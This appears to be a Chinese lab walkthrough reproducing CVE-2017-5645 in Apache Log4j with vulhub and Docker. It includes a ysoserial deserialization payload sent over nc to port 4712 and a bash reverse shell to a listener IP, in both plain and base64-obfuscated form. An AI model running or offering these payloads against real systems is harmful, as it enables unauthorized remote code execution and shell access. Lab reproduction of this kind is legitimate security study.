描述
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
kali 环境配置
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose
下载安装vulhub
git clone https://github.com/vulhub/vulhub.git
漏洞复现
启动环境/vulhub-master/log4j/CVE-2017-5645
docker-compose up -d
nmap扫描ip
nmap 192.168.1.240 -p 4712
使用ysoserial生成payload ,创建CVE-2017-5645_is_success
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2017-5645_is_success" | nc 192.168.1.240 4712
编写poc
反弹shell bash -i >& /dev/tcp/192.168.1.155/9999 0>&1
base64加密 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTU1Lzk5OTkgMD4mMQ==
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTU1Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
nc 反弹shell
参考链接
https://www.shuzhiduo.com/A/amd0qZRWzg/
(img-W7pwsL1M-1664463580705)]
参考链接
https://www.shuzhiduo.com/A/amd0qZRWzg/
https://blog.csdn.net/zy15667076526/article/details/111824333